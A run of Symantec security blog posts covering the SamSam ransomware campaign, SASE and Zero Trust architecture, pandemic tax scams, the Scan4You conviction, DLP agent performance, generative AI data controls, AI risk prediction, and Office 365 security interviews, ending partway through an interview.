Backing up important data is one of the key pillars of combating ransomware infections. However, as there have been cases of ransomware encrypting backups, it should not be a replacement for a robust security strategy.
Victims need to be aware that paying the ransom does not always work. Attackers may not send a decryption key, could poorly implement the decryption process and damage files, and may deliver a larger ransom demand after receiving the initial payment.
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SamSam Teaches Hard Lessons about the Cost of Security Unpreparedness
A spate of attacks using the SamSam ransomware toolkit cost victims millions. The success of that campaign is also breeding copycats
On March 22, 2018, computer outages began to spread throughout critical systems operated by the city of Atlanta. The city’s information security team responded swiftly to the incident, which had the tell-tale signs of a ransomware attack. The municipality not only shut out employees from their systems but also took the precaution of shutting down many city services.
Atlanta was the highest-profile victim of SamSam, a ransomware operation that has infected scores of organizations. Since SamSam’s arrival on the scene, it’s believed to have infected more than 200 other businesses and groups, including hospitals, local governments, and healthcare firms. Last fall, Symantec estimated that the SamSam hacking group has launched attacks not just in the U.S but also in France, Portugal, Ireland, Israel and Australia. It’s also proven lucrative for the perpetrators - by one estimate netting some $7 million in revenue for the cyber criminals over the last three years.
But if we examine SamSam within a larger perspective, we can view it more generally as another demonstration of the increasing propensity of cyber criminals to shift tactics to find vulnerabilities. In many cases, organizations were targeted by scanning networks searching for unguarded points of entry. The operators would then reconnoiter a victim's infrastructure before broadly infecting any systems. Like many other operations, the ransomware attacks use system tools to carry out the initial reconnaissance, which helps attackers avoid triggering defenses that are focused on detecting malware.
"A lot of attacks rely on finding a particular weakness," said Rod Piechowski, senior director for healthcare information systems with the Healthcare Information and Management Systems Society (HIMSS). "SamSam is different in that it uses existing tools that are part of your operating system, that can be used to do research on your network and your users, so it is harder to detect."
Healthcare in the Cross-hairs
SamSam is not new to the threat landscape. In late 2015 and early 2016, security firms noticed the first signs of the ransomware campaign, warning that opportunistic attackers were searching for – and then infecting - a variety of organizations, especially healthcare providers. In 2016, for example, went after Hollywood Presbyterian Medical Center, collecting a $17,000 ransom to return access to their information.
At one point, SamSam almost exclusively attacked healthcare firms. More than 18 percent of hospitals have had to respond to a ransomware attack, according to one study by the Health Information Trust Alliance, or HITRUST. And, in research conducted between November 2017 and the end of January 2018, the ransomware operation successfully collected bounties from 23 different companies, 90 percent of which were healthcare firms. Overall, healthcare firms accounted for 24 percent of SamSam targets.
Other favored targets included municipalities. The city of Atlanta, for example, received a ransom demand for $51,000. Government officials refused to pay, as the FBI advises in these cases. But the city had to endure service disruptions and it took five days for the city to allows employees back on their computers. The incident also underscored the cost of being unprepared. What followed was one of most massive upgrade and clean-up efforts of a local government's digital infrastructure, costing Atlanta taxpayers an estimated $6 million over five months—a total that’s ultimately likely to increase to more than twice that amount.
The SamSam operators usually attacked systems running the remote desktop protocol (RDP) to gain initial access to targeted networks, according to the US Computer Emergency Readiness Team (US-CERT). In an advisory sent around last December, US-CERT noted that threat actors typically use either use brute force attacks or stolen login credentials, adding that the detection of RDP intrusions becomes all the more challenging because the malware enters through an approved access point.
Indeed, those very tactics were also used to compromise Hancock Health, an Indiana-based healthcare system, this January. The group obtained the login credentials of a vendor that provides hardware for one of the critical information systems used by the hospital, according to Steve Long, the organization’s president and CEO of the organization. He said the hackers used the compromised account credentials to target a server located in the emergency IT backup facility utilized by the hospital.
Tracking Down SamSam
In November 2018, the U.S. government indicted two men who carried out a 34-month-long international computer hacking and extortion scheme. Charging them with infecting 200 organizations, the U.S. Department of Justice alleged that the duo had inflicted more than $30 million in losses on victims.
That kind of return garners attention – and copycats. A similar campaign called Ryuk raked in almost $4 million in 5 months going after several businesses, including major newspapers. And like SamSam, the Ryuk operators – who have been linked to a cyber criminal gang - infiltrate vulnerable networks and wait up to a year to launch the malware.
SamSam may have faded from the radar but the attacks testify to a permanent change in the threat landscape: When it comes to finding new ways to attack, cyber criminals have become adept at learning from each other and switching tactics when they land upon the next big thing. The success of SamSam and similar attacks will doubtless induce other cyber criminals to adopt a strategy based upon reconnaissance, compromise and infection. For enterprises and other organizations who will bear the brunt of those attacks, the best response is to remain prepared, keep their defenses up to date and commit the necessary resources to building up a robust security strategy.
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SASE - New Architecture for A New Era
Symantec Enterprise looks toward the future
What is the expected life of a cyber security architecture? While they don’t come with warranties, a decade or more is a long run. But nothing digital is set in stone. The classic paradigm of guarding data centers and network perimeters has run its course—a victim of too many costly intrusions and a perceived inability to meet the requirements of digital transformation, mobile access, and cloud-native applications.
In its place, our industry is rapidly coalescing around Secure Access Service Edge (SASE), a cloud-based security architecture that prioritizes data protection over hardware or even company networks. SASE combines networking and security-as-a-service capabilities.
If that sounds like a major shift, we concur, and we’re leading the way. What do you need to know to start this journey? And what is your action plan?
In this post, the first in a planned series about SASE architecture, we’ll recommend where to start and discuss where this fits into a broader set of solutions. Of course, with a new architecture, the focus shifts from fixing legacy problems to solving for the challenges of where computing is headed: to the cloud and the edge.
Implications
In the 5G-powered, edge processing world of the near future, applications are latency-sensitive and data flies around at speeds 100x greater than today. This requires a lot of computing resources, bandwidth, all while being fully secured. Information must be instantaneously encrypted and decrypted as it shifts from edge to data lake, and again when it is replicated in a cloud-based data set for an entirely different purpose, such as training or business analytics.
Protecting data in flight between endpoint and service is one of the primary objectives of SASE. If you make a strategic shift from protecting data centers to controlling centers of data, it’s worth asking, what’s the difference?
Protecting data in flight between endpoint and service is one of the primary objectives of SASE.
According to Gartner, “Network security architectures that place the enterprise data center at the center of connectivity requirements are an inhibitor to the dynamic access requirements of digital business.” The alternative they advocate, per our view, is consolidating networking and security-as-a-service capabilities into SASE. Secure access cloud services must not be landlocked by company networks or hamstrung by backhaul connections through corporate data centers.
In SASE, security policies are tied to validating identities rather than the protection of IP addresses—and identities are no longer based on location. Establishing control over whom and what accesses cloud-based services becomes your first mission particularly when it is key to enforcing security when it is in another infrastructure.
First Comes the Proxy
You cannot protect a digital business without first establishing both visibility and control over all web traffic. To achieve this, you need a single termination layer to process this traffic. Since the majority of all web traffic is encrypted, your termination layer must also support the ability to handle encrypted traffic to preserve visibility and control. Once web traffic has been decrypted, you can block malware and other malicious threats, apply security policies, and enforce data compliance requirements. We know this because we have literally decades of experience with proxy protection. Our Secure Web Gateway (SWG) enables in-depth inspection of web and encrypted web traffic required to uncover and protect against the web threats that may target your organization.
If SWG sees a potential issue, it may send the payload to a data loss prevention (DLP) solution, or to a sandbox for behavioral analysis, detection and remediation. A proxy is perfectly positioned to handle encrypted traffic. Decrypting SSL requires negotiating and completing a full SSL/TLS handshake, which can create issues for non-proxy solutions. With the advent of TLS1.3, managing encrypted traffic is further complicated for non-proxy architectures, such as NGFWs, since there is no way to fully inspect the initial TLS handshake.
Secure Web Gateways take a giant first step toward SASE because it provides:
Cyber attack prevention and detection: Implements white lists and black lists; works with DLP and sandboxing tools; considers file reputation analysis
Visibility into all web traffic: Monitors and logs transactions; supports cloud apps to ensure compliance
Lower total cost of ownership (TCO) for security: It improves the overall performance and availability of your business apps and media, with bandwidth management, content caching, traffic optimization, and streaming media splitting and caching features
In upcoming posts, we’ll discuss our understanding of the Gartner-recommended SASE journey, which includes:
SWG (this post)
SSL Decrypt
DLP
CASB
CFS
SD-WAN
ZTNA
Continuous Session Risk Monitoring
This graphic was published by Gartner, Inc. as part of a larger research document and should be evaluated in the context of the entire document. The Gartner document is available upon request from: https://www.gartner.com/doc/reprints?id=1-1YK350NV&ct=200
Will every organization adopt SASE? Gartner projects “By 2024, at least 40% of enterprises will have explicit strategies to adopt SASE, up from less than 1% at year-end 2018.” While adoption is gaining momentum, SASE may take half a decade or longer to become the predominant cyber security architecture. Some of the pieces, such as SWG, are more mature than others. The Symantec portfolio of SASE solutions will act in harmony to provide industry-leading architecture that meets or exceeds your security KPIs.
Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner's research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.
Source: Gartner “The Future of Network Security Is in the Cloud,” Neil MacDonald, Lawrence Orans, Joe Skorupa, 30 August 2019.
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Scamming the Pandemic: Tax Fraud and Covid-19
As tax season continues, here are tips from Symantec to help protect yourself and your business
Symantec, as a division of Broadcom, has already published blogs detailing how spammers and scammers are using coronavirus-themed lures in their malicious email campaigns, and how malicious Android apps are also exploiting the outbreak.
Criminals have also seized upon the pandemic to unleash a torrent of tax fraud schemes and scams. Tax scams tend to become more frequent during times of economic and social crisis. But even by that criteria, 2020 was unique thanks to a combination of the Covid-19 pandemic, stimulus checks, and a shift to working from home. The abrupt changes have created unprecedented opportunities for criminals to target both individuals and businesses and try to obtain vital personal, business, and financial information.
As the deadline to file 2020 returns draws near, stay alert to the most insidious of these scams. Here’s what you need to know and how to protect yourself and your business from becoming a victim.
Phishing for Coronavirus
Many of the most common frauds are practically evergreen in their use and adaptability. One of the most common is phishing scams. IRS Criminal Investigation (CI), the arm of the IRS charged with investigating financial crimes involving the IRS, says that 2020 generated a tremendous increase in phishing schemes. CI reports that phishing scams using keywords such as coronavirus, COVID-19, and stimulus in various ways mushroomed across every possible form of personal communication, including emails, letters, texts, and fake websites.
Many of the phishing scams, and especially those relating to Economic Impact Payments (EIP), the stimulus checks issued to many Americans as part of the Coronavirus Aid, Relief, and Economic Security (CARES) Act, purport to be from the IRS. They typically request personal data such as an individual’s social security number or bank account information.
To protect oneself, it is important to note that the IRS never initiates contacts with a taxpayer via email. In fact, the best advice is to never click on any link that represents itself as coming from the IRS.
Leveraging the Stimulus
A number of scams leverage the stimulus as a cover to steal the payments or personal information. Often these scams target the elderly in nursing homes and individuals who are non-English speakers. Typically, they may claim that the stimulus payment needs to be transferred to them for a debt collection or, if posing as the IRS, to satisfy a tax lien or other repayment.
EIP Investments
EIP-related scams involve everything from selling fake “at-home” Covid test kits, fake cures and vaccines, pills, and even medical or therapeutic advice. One of the most successful of these scams offers opportunities to invest early in companies making one of the vaccines and promising outlandish returns on the investment (ROI).
The Opposite of Charity
One of the nastiest of the pandemic-related scams involves fake charities that solicit donations for individuals, groups, or areas affected by the Coronavirus. Note that there is a major red flag that recipients of these solicitations can always spot: Legitimate charities are obligated by law to provide their Employee Identification Number (EIN) on any solicitation. The IRS provides a tool on its website that allows anyone to run a suspect EIN to determine if it is a legitimate tax-exempt charitable organization. The IRS also offers regular updates on its website about any newly reported or novel tax scams or frauds.
In addition, the federal government provides a number of other tools and services to help individuals and businesses thwart and report potential fraud. Some of the most important include:
Tax Fraud Resources
The National Center for Disaster Fraud (NCDF) is the national coordinating agency within the Department of Justice (DOJ) dedicated to combatting fraud crime related to natural and man-made disasters, such as the pandemic. Coronavirus-related scams can be reported to the NCDF Hotline at: (866) 720-5721 or submitted through the NCDF Complaint Form.
Taxpayers can report fraud or theft of EIP stimulus payments to the Treasury Inspector General for Tax Administration.
Taxpayers can report phishing attempts to the IRS.
The IRS website has a section for Tax Fraud Alerts, which provides a wealth of information about tax scams and how to avoid or report them.
The IRS also publishes The Dirty Dozen list annually to help raise awareness about the most common scams targeting people that tax year.
All of these tools and resources, along with the others mentioned earlier, are available free of charge.
Protection
Now more than ever, enterprise faces daunting challenges in protecting its business:
Emerging and evolving threats
Privacy and compliance regulations
Increased risk that accompanies digital transformation
With 100s of point-solution vendors and cheap, ineffective tools, enterprises face a cyber security dilemma that only a truly integrated platform can resolve.
See how Symantec is driving innovation to help you solve your toughest challenges and why Symantec has been an industry-leader in all primary security categories for more than 10 years running. Our portfolio has best-in-class solutions for Endpoint Security, Identity Security, Information Security and Network Security, delivering end-to-end security through an Integrated Cyber Defense Platform.
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Scan4You Masterminds Found Guilty by U.S. Court
Symantec assisted in prosecution of duo behind underground malware scanning service.
Two men have been found guilty of charges relating to the operation of Scan4You, a scanning service that allowed malware authors to check if their creations were detected by security products. The men were arrested overseas last year. Symantec assisted the case by testifying in court for the prosecution.
Jurijs Martisevs pleaded guilty in March to charges of conspiracy and aiding and abetting computer intrusions. Ruslans Bondars was found guilty in a Virginia court yesterday of conspiracy to violate the Computer Fraud and Abuse Act; conspiracy to commit wire fraud; and computer intrusion with intent to cause damage, and aiding and abetting. Sentencing is scheduled for September.
The maximum penalties for conspiracy are five years in prison, a fine of $250,000, full restitution and forfeiture of any proceeds of the crime. The maximum penalties for computer intrusion are 10 years in prison, a fine of $250,000, full restitution and forfeiture of any proceeds of the crime.
Scan4You ran from at least 2009 until 2016. Advertised on underground forums used by the cyber crime community, it was used by at least 30,000 customers. Bondars was responsible for the technical side of the service, maintaining its infrastructure and website. Martisevs took care of customer support, usually via email or instant messaging.
The FBI investigation found that one Scan4You customer used the service to test malware that was then used to steal approximately 40 million credit and debit card numbers from a string of U.S. retailers. One retailer alone lost approximately $292 million from the attack.
Scan4You was also used to develop the notorious Citadel financial Trojan which infected over 11 million victims worldwide and was used to steal over $500 million from victims.
Symantec’s Vikram Thakur was called by the prosecution as an expert witness during the case. Thakur explained how legitimate malware scanning services work by analyzing submitted files and listing which security software vendors flag the file as malware and what they detect it as. After a file is scanned, the scan results are available to all vendors who subscribe to the service. This, Thakur said, was the crucial difference between legitimate services and their underground equivalents, whose results are shared with no one other than the person submitting the file.
In order to run an underground malware scanning service, its operators would need to acquire security software from multiple vendors. Thakur told the court that use of Symantec products in any such service would be in violation of our End User License Agreement (EULA).
“It’s important to distinguish between legitimate services, which allow the information security community to share information and protect customers, and illegal services which simply help malware authors try evade detection,” said Thakur. “Symantec is always happy to assist law enforcement agencies in prosecuting cyber crime.”
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Secret Agent - A Decade of Stealth
How reducing Symantec DLP Agent’s footprint has been a labor of love
We don’t normally draw attention to work that leaves little to show, but when we’re talking about agent footprints and memory consumption less is definitely more! The lightweight, high performance DLP Endpoint agent that we deliver has taken many years to develop. In this interview, Stefano Emiliozzi, Technical Director of DLP Detection met with Sunil Choudrie, PMM to talk about the engineering journey to deliver these improvements.
Sunil: Stefano, in case people haven’t already had the pleasure of meeting you, can you explain your role and focus?
Stefano: Sure, as Technical Director I oversee our engineering efforts around DLP Detection, including some of our most important DLP detection engines such as Exact Data Matching, Index Data Matching and EMDI.
Sunil: That makes you the perfect person to talk about DLP Endpoint. Here is my question; When it comes to DLP at the endpoint, why does performance matter?
Stefano: To answer that, it’s helpful to start with a fundamental goal. My mission is to ensure that we help customers correctly reduce their data loss risk - and we deliver this by ensuring we can accurately scan content. As the volume of data that organizations generate has increased, the pressure to scan every file with acceptable performance gets higher. So, you can see that if you have an inefficient, or heavy endpoint footprint, you impact performance - degrading the user experience and stretching your system resources.
How can we solve this? An easy solution in the face of increased data volumes is to scan less, using a sampling approach to scan a percentage of files. I’m sure you can instantly see the problem with this - if I don’t scan 100% of files, how can I possibly know what my data risk is? The standard Symantec works to is that we look at every file. This is a better, but harder path as it means that the performance of our agent needs to be optimized to support that.
Sunil: A classic dilemma - scan everything but don’t affect performance. So, how did we go about solving that?
Stefano: We’ve been looking at the way we deliver DLP technology to customers for many years. We know that the endpoint agent can upset the balance between efficacy and efficiency - memory footprint, scan times, content extraction methods etc. Let me illustrate this with an example. If the method used to extract content from a file takes 30 seconds, and the scan of that content takes just milliseconds, the customer sees a slow scanning time. Improving scanning speed is meaningfully delivered by improving content extraction methods. This, and other problems such as Policy Evaluation are what my team looks at.
Sunil: You mentioned Policy Evaluation, can you talk a little more about this?
Stefano: We started by fundamentally rethinking our approach. We found that under certain circumstances the way policies were evaluated was a big resource drain. As we were developing agents for Windows, Mac, and other platforms we were able to step back and look at the bigger picture. In doing so, we implemented an alternative way to evaluate policies that delivered two prime advantages. First, this new implementation used significantly fewer resources in areas that deliver high impact improvements to customers. Secondly, we are now using a single implementation that can be applied across many operating systems which allows us to offer a broad range of operating system support that is easier for us to develop and maintain.
Sunil: I’m sure your team faces hard decisions when considering new technology - particularly to strike the right balance between effectiveness and performance. How do you go about navigating these decisions?
Stefano: This is a complex area and one that creates lots of healthy debate. On the face of it, it’s very easy to implement new technology for the sake of it, but that probably won’t lead to a better product for our customers. We start with an advanced development team that is continually assessing new technology and working out ways to apply this to improving data protection. But before we take these concepts and develop them further, we consider four attributes that matter to customers. These are:
Reliability
Scalability
Performance
Memory
We keep this framework in mind throughout the development process to ensure we release features that don’t just improve existing data protection technologies, but also help customers deliver better data protection outcomes.
Sunil: Thanks Stefano, as we wrap up, what feature are you most proud of developing and why?
Stefano: The feature I am the proudest of is the new Policy Evaluation Engine. It's a complete rewrite of the core Detection engine and brings dramatic improvements in memory footprint, faster execution, and extensibility to the on-prem Server, Cloud Service and Endpoints. It's particularly significant for the Endpoints where memory footprint is always a paramount factor.
Find out more about the improvements delivered in Symantec DLP 16 by visiting our website.
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Secure Access Service Edge (SASE) or Zero Trust?
What you should consider when evaluating a SASE architecture for your business
In a previous blog we introduced the SASE (Secure Access Service Edge) architecture, a new architecture fit for the distributed, mobile and cloud enabled organization.
This SASE architecture combines networking capabilities to enable connectivity for any user, from any device, anywhere together with security capabilities to enforce the organization security policies on that access. Eventually resulting in a Secure Access platform enabling the organization to securely connect any user, from any device, anywhere to any resource.
The SASE architecture is designed to enable the enforcement of security at the network level (similar to traditional firewall or IPS solutions). Other approaches don’t rely on network for security enforcement, but rather on SaaS vendor capabilities or endpoint based enforcement. They may also lack capabilities at best and at worst - could be unsecure (BYOD or hosted applications with minimal security controls). The SASE architecture allows enforcing uniform security across all corporate resources and user's activities regardless of the endpoint or SaaS vendor capabilities.
This architecture also enables visibility into user's actions, which is a mandatory requirement for detection as well as forensics and compliance.
Source: Gartner “The Future of Network Security Is in the Cloud,” Neil MacDonald, Lawrence Orans, Joe Skorupa, 30 August 2019.
***Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner's research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.
This graphic was published by Gartner, Inc. as part of a larger research document and should be evaluated in the context of the entire document. The Gartner document is available here.***
In this post we will focus on what are the security capabilities required to enable the Zero Trust model in order to secure your corporate data, what SASE components are in action and what you should consider when evaluating a SASE architecture for your business.
What is Zero Trust?
Zero Trust was a term coined in 2010. This term refers to an approach where nothing (including the corporate network, users or devices) should be trusted, assuming each of these entities could have been breached and used to steal sensitive data.
The Zero Trust model puts the data at its center and references multiple controls which should be involved in determining whether a specific entity should be allowed access to a specific resource/data. These controls should also allow visibility into the user's activities to enable detection and behavior analytics to determine the risk the user imposes to the resources and data. (or in other words - the chances an account has been compromised).
Source: Forrester “The Zero Trust eXtended (ZTX) Ecosystem,” Chase Cunningham, July 11, 2019
These controls are centered around the identity of the client (user or service), the device and the data (workload or network). An example set of controls include:
the risk score of the user
authentication method (FIDO, MFA, etc.)
organizational role
device risk and status (managed vs. unmanaged)
location
eventually the data context (confidential, PII, PCI, etc.)
In order to successfully implement this model across the data in the modern enterprises which is spread across SaaS, IaaS and PaaS and hosted/on-premises environments the SASE architecture must satisfy several requirements.
What components in SASE enable Zero Trust?
Given the Zero Trust model is enabled around data controls and visibility to corporate resources the 2 main components which are providing this capability is the CASB (Cloud Access Security Broker) solution, used to access SaaS resources and the ZTNA (Zero Trust Network Access) solution, used to access IaaS/PaaS and hosted/on-premise resources.
These 2 solutions should allow controlling user's activities based on user context, device context (health, location, etc.) and data as previously described. However, this is harder than it sounds. Most of the VPN/Remote Access solutions today are still focusing on network access, providing a true/false verdict on a full network access request (VPN connect event) by the users.
The visibility into the user’s actions and the data being accessed is also critical to a successful implementation of a Zero Trust model.
Restricting access to specific resources based on user and device risk, status and role is not the only requirement. The visibility into the user’s actions and the data being accessed is also critical to a successful implementation of a Zero Trust model.
To allow the implementation of the Zero Trust model both CASB and ZTNA solutions must have the ability to provide Layer7 (application layer) visibility, allowing the control of user's actions (upload, download, modifying content, etc.), integration with DLP (as the data is visible to these solutions) and full visibility into user’s actions for detection, forensics and compliance.
These solutions should also be able to integrate with your existing IAM investments such as your directory services (Azure AD or Okta) and MFA as well as provide built-in capabilities such as UEBA, sandboxing and anti-malware capabilities.
What does Symantec offer?
Symantec, a division of Broadcom (NASDAQ: AVGO), offers CloudSOC, a market leading CASB solution enabling secure access to SaaS resources and Secure Access Cloud, an innovative ZTNA solution, from Symantec’s acquisition of Luminate Security. These enable secure access to on-premise, hosted and IaaS/PaaS based resources
Both solutions provide the ability to enforce access and activity controls based on the context of the user and the device, built-in integration with Symantec's DLP as well as the ability to integrate with all leading Directory Service and IDaaS solutions.
These 2 solutions, combined together, provide Layer7 secured connectivity to corporate resources anywhere, while enabling the controls and visibility required by the Zero Trust model.
With the addition of the Secure Web Gateway solution, Symantec offers a comprehensive SASE platform, while helping you drive the implementation of a Zero Trust model in your organization.
What Next?
To summarize, the shift of enterprises to modern architecture centered around cloud and mobile, requires a modern security architecture to enable the business to securely leverage their new investments.
The SASE architecture is becoming this modern architecture to allow both security and connectivity for the modern enterprise.
In turn, the Zero Trust model is the de-facto security model which should be supported and implemented by the controls available in the SASE architecture.
Therefore, it is critical to evaluate the capabilities of the vendors in your SASE architecture for their ability to implement a Zero Trust model.
SASE and Zero Trust are NOT mutually exclusive, on the contrary, they're supplementing each other and one should be used to enable and drive the other.
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Secure Adoption of Generative AI Apps
Locking Down ChatGPT: Ensuring Secure Data Access and Governance
Many organizations these days are challenged with generative AI tools such as ChatGPT. While they want to enable their organization and use them for productivity, they are losing visibility on who is using generative AI tools. More importantly, they are potentially losing sensitive or confidential data by allowing their employees unrestricted access to these tools. For example, a user could use a chatbot to review confidential source code, or copy and paste sensitive data to generate a letter. These are actual documented scenarios.
Image: ChatGPT response to feeding sensitive data for the purpose of creating a better written letter.
Symantec Enterprise Cloud is unveiling a solution that tackles this problem by providing our customers with the guardrails to ensure they gain Visibility and apply Data Security Controls to these conversations.
Image: CASB Audit with service details and category for OpenAI’s ChatGPT
Visibility
Filter for usage to these services based on a new category “Content Generation”
See who is using these services
Leverage the BRR score for researched apps to enable adoption of selected AI apps
Assign a category in your Edge SWG Cloud SWG to block users from accessing these services or gradually allow users to use it within implemented safeguards.
Controls sensitive data with Cloud DLP
Inspect your queries to ChatGPT and other generative AI tools for sensitive content
Inspect images uploaded to image generative AI tools like DALL-E using OCR to prevent sensitive data to be lost in images
Expand your existing policies leveraging EDM, IDM, VML, SDI, OCR to generative AI solutions to prevent data loss.
With Symantec Enterprise Cloud you can get visibility into AI apps used by your organization and implement controls like access restrictions for unsanctioned services while allowing the organization or teams to adopt certain services in a controlled manner.
Please meet us at RSAC or reach out to your sales representative for more information and help on adoption.
Let’s hear it from ChatGPT
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Securing Against Malware Using Artificial Intelligence
Better security is just part of the benefit of using AI to predict risks inside a system
Symantec has been working on ways to better detect and mitigate malware for nearly two decades with the goal of helping customers stay ahead of threats to their data.
There was a time, around the year 2000, when Symantec teams only saw one or two localized malware threats a week. They could analyze the malware as it came in and address the specific threat it posed. That seems like a halcyon era compared with the present era when malware pours through global networks by the millions per day.
Leyla Bilge, a member of the Symantec Research Labs (SRL) team, received her PhD in 2012, with a focus on system-attacking malware. During her doctoral studies, she recalled, the deployment of artificial Intelligence (AI) as a way to block attacks began gaining popularity. But at the same time, many still questioned how far they could trust the technology.
The first question was always: how easy was AI to evade?
“We can use AI to solve for a problem but then the question of how easy it is to compromise the AI comes up,” Bilge said.
The strength of AI lies in its ability to monitor a large data pool for patterns. What if someone taints the data in the pool? The classic example of how easy it is to fool an AI is that of asking it to discern between pictures of cats and dogs. There are a multitude of variants in both species. It’s been shown that a few altered pixels in a picture can deceive an AI into thinking a picture of a dog is one of a cat.
Meanwhile, adversarial malware - code that targets the pool of data the AI is monitoring for patterns and masks the malware - has grown in volume and complexity for this very purpose.
What’s clear is that the threat is too much for humans to combat alone. So 4 years ago, SRL began to investigate ways to protect the internal systems of organizations, rather than just trying to get ahead of the external threat posed by malware. This is where SRL believes AI can make a difference.
SRL has since been applying machine learning to analyze all of the data running into or out of an organization to determine where the vulnerabilities of those systems lie. In 2017, Symantec’s Research Labs published research demonstrating that security measures on internal systems could be advanced by 400% though the use of Artificial Intelligence, a risk prediction that finally proved the proactive promise of AI.
To do risk prediction accurately, an AI examines the behavior of the threats, the attackers, and the system users.
Some examples:
Examining what attackers consider valuable will help determine which internal systems in a company are most vulnerable.
Using what is known of malware, coupled with what continues to be learned on a daily basis, AI algorithms can identify where threats target a system.
Evaluating user behavior in applications like email can reveal to an AI vulnerabilities born of user activity that were previously undetected.
Better security is just part of the benefit of using AI to predict risks inside a system. However, Bilge noted that the deployment of multiple layers of security can get very expensive in a hurry.
“You might not be able to deploy every advanced technology on every node in your enterprise. You want to choose the riskier ones to protect,” she said. “Using prediction in organization systems helps with the questions of what to secure and what to insure. Cyber insurance is a trend on rise. Prediction aids in the pricing and underwriting of what should be insured in a system.”
While the SRL cyber risk prediction solution is still considered relatively new, it’s off to a promising start. On November 1, 2017 Bilge presented the SRL research and its findings to industry peers in a lecture titled, “Predicting the Risk of Cyber Incidents.”
Their work was well received, suggesting that more organizations are going to consider similar ways to arm themselves from the inside against mounting threats from the outside.
If you found this information useful, you may also enjoy:
Symantec Risk Insight
RiskTeller: Predicting the Risk of Cyber Incidents
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Securing Office 365 - New Challenges for IT
ESG’s Mark Bowker: In a multi-vendor cloud setting, the proliferation of SaaS apps such as Office 365 puts new onus on IT
[Editor’s note: This is the first of a 4-part series of Q&As that Symantec is conducting with experts and practitioners in the field, examining the myriad security issues involved with Office 365.]
As more organizations adopt cloud applications such as Office 365, security managers now find themselves scrambling to provide security for apps and services that no longer reside in on-premises data centers. This presents all sorts of new challenges, according to Mark Bowker, a senior analyst at the Enterprise Strategy Group.
“The IT and security professionals inside these organizations must now deal with a changing consumption model,” says Bowker. He added that in this multi-vendor setting, users are likely to be using SaaS apps such as Office 365 as well as a myriad of other kinds of cloud infrastructure and services, which might be as simple as a desktop service or a security service.
We caught up recently with Bowker to get his take on what Information Security Managers need to do to adjust to the security demands of this new digital order.
Q: What’s the security challenge for IT in this multi-vendor cloud setting?
They have lost control of the applications and of the data themselves and they’re looking at ways to collectively have a single source of truth across all these different providers. They want visibility across these environments, so they can monitor activity, potentially modify policies and proactively take action.
Q: How does that usually play out?
It comes about in a variety of ways, from awareness to true automation. This ability to have visibility across these different environments is extremely important and something that businesses are really finding themselves dealing with as they make security and other types of IT process decisions inside their organizations.
Q: Isn't that the job of the Information Security Team?
They have tools which they purchased but some of those tools may not work across platforms or may only be tied to a single platform. That’s one issue.
Another issue is if the security offered by a vendor for their particular application, such as Office 365, is really meeting the risk tolerance for the organization. The question really comes down to - and it is really up to the Information Security team to figure this out - whether that depth of security is adequate or not for the organization. Also, do the tools add visibility as well as general contextual awareness that the security team is accustomed to.
Q: What don’t companies understand about where Microsoft’s responsibility ends with regards to security in the cloud?
I’d say the confusion starts with the identity of the employee - that comes down to username and passwords and authentication methods. Then it extends to understanding what Microsoft provides versus what others in the market do to help offer strong means of authentication. The confusion also reaches to the application and data level.
Q: Unless it’s a Microsoft shop.
Most companies that I talk with are not Microsoft shops where they just use Microsoft applications. In those cases, how do you authenticate across Microsoft apps and other SaaS applications? How do you provide that security foothold and posture beyond Office 365? For instance, one of the top vectors for bad guys continues to be email, where they pose very sophisticated threats. As much as companies continue to try and educate employees, the threats are still coming in via email. Most of the CSOs I talk with are not willing to hang their hats just on the capabilities that Microsoft provides and are looking for additional defense specifically around email.
Q: What are you advising clients thinking about going forward with Office 365 implementations?
The first thing to recognize is that the security posture goes beyond Office 365. You have to think of the toolset and technologies beyond those Office 365 applications themselves. The other consideration to really think about is the idea of visibility across a single source of truth that applies across the different applications, across the different web behaviors of employees in their application usage and in their data application usage. You need to be able to paint a palette of what that looks like to be able to start to take action. Once you get that single source of truth in place, you can start to automate.
Q: How might that unfold in practice?
You start to recognize behavior and then based on that behavior, perhaps you can change permissions or shut off access altogether for a certain user. Or maybe not allow that user to access a specific device or have access from a certain network. So instead of mainly getting alerts, you are taking advantage of automation. Also, there is a lot of intelligence offered by providers - Symantec being one of them - that enterprises can benefit from.
So, using this Machine Learning/Artificial Intelligence advantage, they can look at different threat analytics across their threat intelligence. At that point, an organization can start to make decisions that recognize attacks before they happen and recognize bad behavior before it spreads. That helps them to take action - and in many cases it is an automated action rather than a manual intervention.
Click Here for the Office 365 Security Checklist
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Securing Office 365: Getting Started on Security
Tactical steps customers can take to proactively protect their organizations from attack
[Editor’s note: This is part 4 of a 4-part series of Q&As that Symantec is conducting with experts and practitioners in the field, examining the myriad security issues involved with Office 365.]
There’s no shortage of security questions customers confront when they move to the cloud. That’s why we sought out Gary Gauthier and Jeff Falcon from CDW for their advice about what organizations should consider in order to secure their Office 365 implementations.
Jeff is a principal security architect whose actual day-to-day job revolves around helping customers with any short-term or long-range security initiatives. Gary is the team lead for CDW’s thought solution services team with a focus on cloud security.
Q: Where do you think customers go wrong when it comes to O365 security?
Gary: The biggest thing that I see is with customers making a mistake assuming that security is covered by Microsoft, or that they handle all of that. Many assume that just because they’ve offloaded certain responsibilities from a software perspective, that they’re also covered from a security perspective.
Jeff: Gary's right on the money. Although many security tools are offered in the standard contract through Microsoft, it’s imperative that Office 365 customers don’t skip over the fundamental basics.
Q: What should that entail?
Jeff: Things like multi-factor authentication are an absolute must. Do not use Office 365 without enabling some type of multi-factor authentication. It is also imperative to enlist some type of service that has a deeper set of controls and inspection capabilities around the Office 365 application ecosystem so that there’s a sound set of tools around it.
Q: When it comes to SaaS ecosystems and the components of security hygiene, what are the big security differences you see with other application implementations?
Jeff: From a security practitioner's point of view, we should take a unique approach to securing data, securing those applications, and securing that entire ecosystem in terms of who has access. There are all sorts of conduits in and out of the organization by leveraging that platform. Obviously, the intended use of those applications is to promote better business collaboration with coworkers and customers. But at the same time, all it takes is a slight tap on your phone, and things can go awry pretty quickly.
Q: In other words, a bigger footprint also translates into a bigger potential vulnerability?
